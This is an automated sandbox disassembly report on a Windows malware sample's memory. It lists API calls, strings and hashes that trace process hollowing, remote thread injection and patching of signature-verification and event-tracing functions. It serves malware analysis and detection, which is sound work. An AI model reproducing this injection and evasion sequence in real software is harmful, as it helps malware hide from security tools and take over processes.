API ID: FileModule$AddressHandleProc$InformationQuery$AttributesCountLibraryNamePathProcessTick$CacheCheckCloseCreateDebuggerDirectoryFlushFreeInetInstructionLoadName_OfflineOpenPresentReadRemoteSleep
String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 2874859968-4244479126
Opcode ID: 17754452be089658fc92aaa2800536896a532ed217af990c2a833b8c8306ace1
Instruction ID: 5af98b195a6920553e0caf1465d97ee80d0f8e532a077ffd0dad24334584f013
Opcode Fuzzy Hash: 17754452be089658fc92aaa2800536896a532ed217af990c2a833b8c8306ace1
Instruction Fuzzy Hash: B7040B34A5021A8FDB20FBA4DC90ADEB3BABFD9310F1455E5D009EB250DB31AE819F55

Function 029A5E01 Relevance: 166.9, APIs: 9, Strings: 85, Instructions: 2415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

Part of subcall function 02982EE0: QueryPerformanceCounter.KERNEL32 ref: 02982EE4

GetCurrentProcess.KERNEL32(00000000,00000000,00001000,00000040,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C), ref: 029A667E

Part of subcall function 02997944: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997951
Part of subcall function 02997944: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997957
Part of subcall function 02997944: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02997977

EnumSystemLocalesA.C:\WINDOWS\SYSTEM32\KERNELBASE(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A69B0
GetCurrentProcess.KERNEL32(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A69B5
GetCurrentProcess.KERNEL32(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A69C9
GetCurrentProcess.KERNEL32(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A69DD

Part of subcall function 02997CC8: LoadLibraryW.KERNEL32(bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18,ScanBuffer,029D7384,02999D18,Initialize,029D7384,02999D18,UacScan), ref: 02997CDC
Part of subcall function 02997CC8: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02997CF6
Part of subcall function 02997CC8: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,00000000,029D7368,00000001,029D7374,00000000,BCryptVerifySignature,bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18), ref: 02997D1C
Part of subcall function 02997CC8: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18,ScanBuffer,029D7384,02999D18,Initialize), ref: 02997D32

GetCurrentProcess.KERNEL32(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A69F1
GetCurrentProcess.KERNEL32(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A6A05
GetCurrentProcess.KERNEL32(00000000,00000000,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358), ref: 029A6A19

Part of subcall function 02987E20: GetFileAttributesA.KERNEL32(00000000,?,0299E793,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanString,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,UacInitialize), ref: 02987E2B

Part of subcall function 0299C7B4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0299C886), ref: 0299C7F3
Part of subcall function 0299C7B4: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0299C82D
Part of subcall function 0299C7B4: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0299C85A
Part of subcall function 0299C7B4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0299C863

ExitProcess.KERNEL32(00000000,OpenSession,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,Initialize,029D7358,029A8D7C,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C), ref: 029A8977

Strings

NtGetWriteWatch, xrefs: 029A850A
SLLoadApplicationPolicies, xrefs: 029A7594
CreateProcessWithLogonW, xrefs: 029A80C5
EtwEventWrite, xrefs: 029A87D4
LdrLoadDll, xrefs: 029A86D5
NtDeviceIoControlFile, xrefs: 029A8011
NtQueryInformationThread, xrefs: 029A8570
NtAlertResumeThread, xrefs: 029A7C9D
ntdll, xrefs: 029A69BF, 029A6A0F, 029A6A23, 029A7CB4, 029A7CE7, 029A7D1A, 029A7D4D, 029A7D80, 029A8521, 029A8554, 029A8587, 029A85BA, 029A85ED, 029A8620, 029A8653, 029A8686, 029A86B9, 029A86EC, 029A871F, 029A8752, 029A8785, 029A87B8, 029A87EB
psapi, xrefs: 029A807F
RtlCreateQueryDebugBuffer, xrefs: 029A7D69
Initialize, xrefs: 029A5E89, 029A6079, 029A6A39, 029A7649, 029A79E7, 029A7F16, 029A82D0, 029A880D
CryptSIPVerifyIndirectData, xrefs: 029A7807
BCryptVerifySignature, xrefs: 029A7932
MZP, xrefs: 029A701E
Ntdll, xrefs: 029A8007, 029A8016, 029A8025, 029A8034
MiniDumpReadDumpStream, xrefs: 029A69F6
SLGatherMigrationBlob, xrefs: 029A84A4
SLGetGenuineInformation, xrefs: 029A74FB
EnumServicesStatusExW, xrefs: 029A806B
Advapi, xrefs: 029A8043, 029A8052, 029A8061, 029A8070, 029A80AC, 029A80BB, 029A80CA
NtOpenProcess, xrefs: 029A6A1E
tquery, xrefs: 029A7752
NtAccessCheck, xrefs: 029A86A2
OpenSession, xrefs: 029A5E0D, 029A5F81, 029A5FFD, 029A62FA, 029A63F2, 029A6583, 029A6716, 029A68BC, 029A6B31, 029A6E22, 029A6FA8, 029A7203, 029A7409, 029A75CD, 029A78BC, 029A796B, 029A7BAB, 029A7DA2, 029A7E9A, 029A834C, 029A8905
NtWaitForSingleObject, xrefs: 029A7D03
spp, xrefs: 029A7785, 029A77B8, 029A8455
DlpCheckIsCloudSyncApp, xrefs: 029A7B0C
NtQuerySecurityObject, xrefs: 029A866F
EnumProcessModules, xrefs: 029A807A
EnumServicesStatusW, xrefs: 029A804D
NtOpenSection, xrefs: 029A85A3
SLIsGenuineLocalEx, xrefs: 029A7561
NtSetSecurityObject, xrefs: 029A6A0A
WriteVirtualMemory, xrefs: 029A8231
VirtualAlloc, xrefs: 029A8165
kernel32, xrefs: 029A817C, 029A81AF, 029A81E2, 029A8215, 029A8248, 029A827B, 029A82AE
DlpGetArchiveFileTraceInfo, xrefs: 029A7B3F
advapi32, xrefs: 029A69D3
I_QueryTagInformation, xrefs: 029A69CE
psapi, xrefs: 029A77EB
ScanString, xrefs: 029A5F05, 029A6171, 029A6DA6, 029A7187, 029A7485, 029A7840, 029A7C27, 029A7E1E, 029A83C8
RetailTracerEnable, xrefs: 029A773B
VirtualAllocEx, xrefs: 029A8198
UacScan, xrefs: 029A60F5, 029A627E, 029A6376, 029A6507, 029A669A, 029A6840, 029A6AB5, 029A6CCF, 029A6EB0, 029A7049, 029A72FB, 029A80EF
CreateProcessAsUserW, xrefs: 029A80B6, 029A80D4
NtMapViewOfSection, xrefs: 029A8609
SetUnhandledExceptionFilter, xrefs: 029A8297
UacInitialize, xrefs: 029A6BD7
EtwEventWriteEx, xrefs: 029A87A1
NtReadVirtualMemory, xrefs: 029A863C
ScanBuffer, xrefs: 029A6202, 029A646E, 029A65FF, 029A6792, 029A6938, 029A6C53, 029A6F2C, 029A70C5, 029A727F, 029A738D, 029A76C5, 029A7A63, 029A7F92, 029A8889
NtQuerySystemInformation, xrefs: 029A8002
CreateProcessW, xrefs: 029A8098
NtCreateSection, xrefs: 029A85D6
NtQueryDirectoryFile, xrefs: 029A8020
DlpGetWebSiteAccess, xrefs: 029A7B72
DllGetClassObject, xrefs: 029A77A1, 029A8471
NtOpenFile, xrefs: 029A876E
RtlAllocateHeap, xrefs: 029A7CD0, 029A7D36
sppwmi, xrefs: 029A8488
CreateProcessA, xrefs: 029A8089
NtQueryVirtualMemory, xrefs: 029A853D
EnumServicesStatusExA, xrefs: 029A805C
NtWriteVirtualMemory, xrefs: 029A873B
CreateProcessAsUserA, xrefs: 029A80A7
SLGetSLIDList, xrefs: 029A752E
dbgcore, xrefs: 029A69E7, 029A69FB
mssip32, xrefs: 029A781E
FlushInstructionCache, xrefs: 029A8264
sppc, xrefs: 029A7512, 029A7545, 029A7578, 029A75AB, 029A84BB, 029A84EE
Kernel32, xrefs: 029A808E, 029A809D, 029A80D9
endpointdlp, xrefs: 029A7AF0, 029A7B23, 029A7B56, 029A7B89
SLGetEncryptedPIDEx, xrefs: 029A84D7
VirtualProtect, xrefs: 029A81CB
bcrypt, xrefs: 029A7949
EnumServicesStatusA, xrefs: 029A803E
MiniDumpWriteDump, xrefs: 029A69E2
LdrGetProcedureAddress, xrefs: 029A8708
SxTracerGetThreadContextDebug, xrefs: 029A776E, 029A843E
DlpNotifyPreDragDrop, xrefs: 029A7AD9
RtlQueryProcessDebugInformation, xrefs: 029A802F
GetProcessMemoryInfo, xrefs: 029A77D4
OpenProcess, xrefs: 029A81FE
NtOpenObjectAuditAlarm, xrefs: 029A69BA

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Process$Current$Library$AddressFileProc$FreeHandleLoadMemoryModulePathVirtualWrite$AllocateAttributesCacheCloseCounterCreateEnumExitFlushInstructionLocalesNameName_PerformanceQuerySystem
String ID: Advapi$BCryptVerifySignature$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 1226057240-1690217862
Opcode ID: 5e641095b892077b8e4bd6cc68f434687eeb44e4282ad2dd95fbba8cb85c73cd
Instruction ID: 3760c22ea0c867e7fdff9020b3c0b65a752faa61497be61d9728b4c8a76d0ea1
Opcode Fuzzy Hash: 5e641095b892077b8e4bd6cc68f434687eeb44e4282ad2dd95fbba8cb85c73cd
Instruction Fuzzy Hash: 71332B74A1065A8FDB20FBA4DD909DEB3FABFD9310F1454E1E009EB250DA30AE958F51

Function 0299A524 Relevance: 64.9, APIs: 14, Strings: 22, Instructions: 1861
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtOpenProcess,UacScan,029D7358,0299C46C,ScanString,029D7358,0299C46C,ScanBuffer,029D7358,0299C46C,Initialize,029D7358,0299C46C,UacScan,029D7358), ref: 0299A7F6
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299A7FC
NtOpenProcess.NTDLL(029D7560,001F0FFF,029D7324,029D733C), ref: 0299A8F4

Part of subcall function 02982EE0: QueryPerformanceCounter.KERNEL32 ref: 02982EE4

GetCurrentProcess.KERNEL32(00000000,00000000,?,?,?,?,0000007C,00000000,00000000), ref: 0299AC47

Part of subcall function 02997944: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997951
Part of subcall function 02997944: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997957
Part of subcall function 02997944: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02997977

IsBadReadPtr.KERNEL32(27860000,00000040,?,?,0000007C,00000000,00000000), ref: 0299ADE0
IsBadReadPtr.KERNEL32(?,000000F8,27860000,00000040,?,?,0000007C,00000000,00000000), ref: 0299AE0D
GetCurrentProcess.KERNEL32(00000000,17CF3400,00003000,00000040,?,000000F8,27860000,00000040,?,?,0000007C,00000000,00000000), ref: 0299AE64
GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,ScanString,029D7358,0299C46C,ScanBuffer,029D7358,0299C46C,UacScan,029D7358,0299C46C,ScanBuffer,029D7358,0299C46C,OpenSession,029D7358), ref: 0299BAA6
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299BAAC
NtWriteVirtualMemory.NTDLL(06420000,06420000,27A80000,17CF3400,00000000,OpenSession,029D7358,0299C46C,UacInitialize,029D7358,0299C46C,00000000,C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,ScanString,029D7358), ref: 0299BBBD
GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtCreateThreadEx,UacScan,029D7358,0299C46C,ScanString,029D7358,0299C46C,?,?,0000007C,00000000,00000000), ref: 0299BCAB
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0299BCB1
NtCreateThreadEx.NTDLL(029D753C,02000000,029D7324,06421617,06421617,00000000,00000000,00000000,00000000,00000000,00000000,ScanBuffer,029D7358,0299C46C,UacInitialize,029D7358), ref: 0299BF2D
CloseHandle.KERNEL32(00000888,ScanString,029D7358,0299C46C,OpenSession,029D7358,0299C46C,?,?,0000007C,00000000,00000000), ref: 0299C028

Strings

dbgcore, xrefs: 0299C35F, 0299C370
MiniDumpReadDumpStream, xrefs: 0299C36B
OpenSession, xrefs: 0299A5B3, 0299A972, 0299AB53, 0299AC5E, 0299AEEC, 0299AFF7, 0299B157, 0299B34B, 0299B4DD, 0299B5D6, 0299B760, 0299B85D, 0299BB31, 0299BDB5, 0299BF36, 0299C039, 0299C148, 0299C2CE
NtSetSecurityObject, xrefs: 0299C37C
C:\Windows\System32\ntdll.dll, xrefs: 0299A7F1, 0299BAA1, 0299BCA6
MiniDumpWriteDump, xrefs: 0299C35A
ScanString, xrefs: 0299A55A, 0299A741, 0299BA32, 0299BBC6, 0299BFA7, 0299C25D
UacInitialize, xrefs: 0299A901, 0299AA71, 0299ACCF, 0299AE7B, 0299B068, 0299B239, 0299B3FB, 0299B565, 0299B6EF, 0299BAC0, 0299BD44, 0299BE26, 0299C3A5
NtOpenProcess, xrefs: 0299A7EC, 0299C38D
NtOpenObjectAuditAlarm, xrefs: 0299C338
Initialize, xrefs: 0299A665, 0299AAE2
NtCreateThreadEx, xrefs: 0299BCA1
ntdll, xrefs: 0299C33D, 0299C381, 0299C392
UacScan, xrefs: 0299A60C, 0299A79A, 0299A80D, 0299B2DA, 0299B950, 0299BC37, 0299BCC5, 0299C1B9
NtWriteVirtualMemory, xrefs: 0299BA9C
BCryptQueryProviderRegistration, xrefs: 0299C234
bcrypt, xrefs: 0299C228, 0299C239, 0299C24A
ScanBuffer, xrefs: 0299A6C2, 0299A878, 0299A9E3, 0299ABC4, 0299AD40, 0299AF5D, 0299B0D9, 0299B1C8, 0299B46C, 0299B647, 0299B7D1, 0299B8CE, 0299B9C1, 0299BE97, 0299C088, 0299C0D7
I_QueryTagInformation, xrefs: 0299C349
advapi32, xrefs: 0299C34E
BCryptRegisterProvider, xrefs: 0299C245
BCryptVerifySignature, xrefs: 0299C223

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Handle$AddressModuleProc$Process$CurrentLibraryMemoryReadVirtual$AllocateCacheCloseCounterCreateFlushFreeInstructionLoadOpenPerformanceQueryThreadWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Windows\System32\ntdll.dll$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtCreateThreadEx$NtOpenObjectAuditAlarm$NtOpenProcess$NtSetSecurityObject$NtWriteVirtualMemory$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll
API String ID: 415501128-716930375
Opcode ID: b06d056a39288737e31e6e9085492bd0a6c8caec3e117599db8e9b3f58806a9b
Instruction ID: 4df1ee2e91ce6d0aff2b1e19431f6679bc328bf07e5d3213fee2b3afdcf0b54b
Opcode Fuzzy Hash: b06d056a39288737e31e6e9085492bd0a6c8caec3e117599db8e9b3f58806a9b
Instruction Fuzzy Hash: 00F2DE70B501599BDF11FBA8CD80EDEB3FAAFC9710F1450E6A009EB254DA31AE858F51

Function 029981B8 Relevance: 54.1, APIs: 8, Strings: 22, Instructions: 1626
nativethreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02997E14: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02997F0D), ref: 02997E4C
Part of subcall function 02997E14: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02997F0D), ref: 02997E5A
Part of subcall function 02997E14: GetProcAddress.KERNEL32(75370000,00000000), ref: 02997E73
Part of subcall function 02997E14: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000,00000000), ref: 02997EE2
Part of subcall function 02997E14: FreeLibrary.KERNEL32(75370000,00000000,00000000,00000000,00000000,029D7364,Function_000065E0,00000004,029D7374,85B025FF,52943FFC,00000040,029D7378,75370000,00000000,00000000), ref: 02997EED

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029D73BC,029D73AC,OpenSession,029D7384,02999D18,ScanString,029D7384), ref: 029986B6
GetThreadContext.KERNEL32(00000894,029D7400,ScanString,029D7384,02999D18,UacInitialize,029D7384,02999D18,ScanBuffer,029D7384,02999D18,ScanBuffer,029D7384,02999D18,UacInitialize,029D7384), ref: 02998A4F
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,003F7FF8,029D74D4,00000004,029D74DC,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,UacScan,029D7384), ref: 02998CAC
NtUnmapViewOfSection.N(00000898,00400000,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,00000898,003F7FF8,029D74D4,00000004,029D74DC), ref: 02998E27

Part of subcall function 02997944: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02997951
Part of subcall function 02997944: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02997957
Part of subcall function 02997944: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02997977

NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,00400000,00000000,17D5E400,029D74DC,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,ScanBuffer,029D7384), ref: 0299947B
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,003F7FF8,029D74D8,00000004,029D74DC,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,00000898,00400000), ref: 029995EE
SetThreadContext.KERNEL32(00000894,029D7400,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,00000898,003F7FF8,029D74D8,00000004,029D74DC), ref: 02999764
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00000000,00000894,029D7400,ScanBuffer,029D7384,02999D18,ScanString,029D7384,02999D18,Initialize,029D7384,02999D18,00000898,003F7FF8,029D74D8), ref: 02999771

Part of subcall function 02997CC8: LoadLibraryW.KERNEL32(bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18,ScanBuffer,029D7384,02999D18,Initialize,029D7384,02999D18,UacScan), ref: 02997CDC
Part of subcall function 02997CC8: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02997CF6
Part of subcall function 02997CC8: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000898,00000000,029D7368,00000001,029D7374,00000000,BCryptVerifySignature,bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18), ref: 02997D1C
Part of subcall function 02997CC8: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000894,00000000,029D7384,029999D4,ScanString,029D7384,02999D18,ScanBuffer,029D7384,02999D18,Initialize), ref: 02997D32

Strings

OpenSession, xrefs: 029981F1, 02998614, 029986C6, 02999A9C, 02999BB8
bcrypt, xrefs: 029999C5, 029999D9, 029999ED
dbgcore, xrefs: 02999B66, 02999B7A
BCryptVerifySignature, xrefs: 029999C0
NtOpenProcess, xrefs: 02999B9D
MiniDumpReadDumpStream, xrefs: 02999B75
ntdll, xrefs: 02999A72, 02999A86, 02999B3E, 02999B8E, 02999BA2
advapi32, xrefs: 02999B52
BCryptQueryProviderRegistration, xrefs: 029999D4
NtOpenObjectAuditAlarm, xrefs: 02999A81, 02999B39
BCryptRegisterProvider, xrefs: 029999E8
I_QueryTagInformation, xrefs: 02999B4D
MiniDumpWriteDump, xrefs: 02999B61
ScanBuffer, xrefs: 02998314, 0299839C, 02998737, 0299884C, 029988EE, 02998C27, 02998DAE, 02998F41, 02999126, 0299923B, 029993F9, 02999569, 029996DC, 029998D0, 02999AEE, 02999C29
NtSetSecurityObject, xrefs: 02999B89
NtReadVirtualMemory, xrefs: 02999A6D
Initialize, xrefs: 02998532, 02998B45, 02998CCC, 029990B5, 02999317, 02999487, 029995FA, 0299985F
SLGetLicenseInformation, xrefs: 029987A7
UacScan, xrefs: 029982BB, 029984D3, 02998AD4, 02998ED0, 02999044, 029997EE
sppc, xrefs: 029987BE
ScanString, xrefs: 0299824A, 029983F5, 029985A3, 029989D0, 02998BB6, 02998D3D, 029991CA, 02999388, 029994F8, 0299966B, 02999956, 02999A03
UacInitialize, xrefs: 0299847A, 029987DB, 0299895F, 02998A63, 02998E5F, 02998FD3, 0299977D

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$Library$AddressProcThreadWrite$ContextFreeHandleLoadModule$AllocateCacheCreateFlushInstructionProcessReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3118559676-51457883
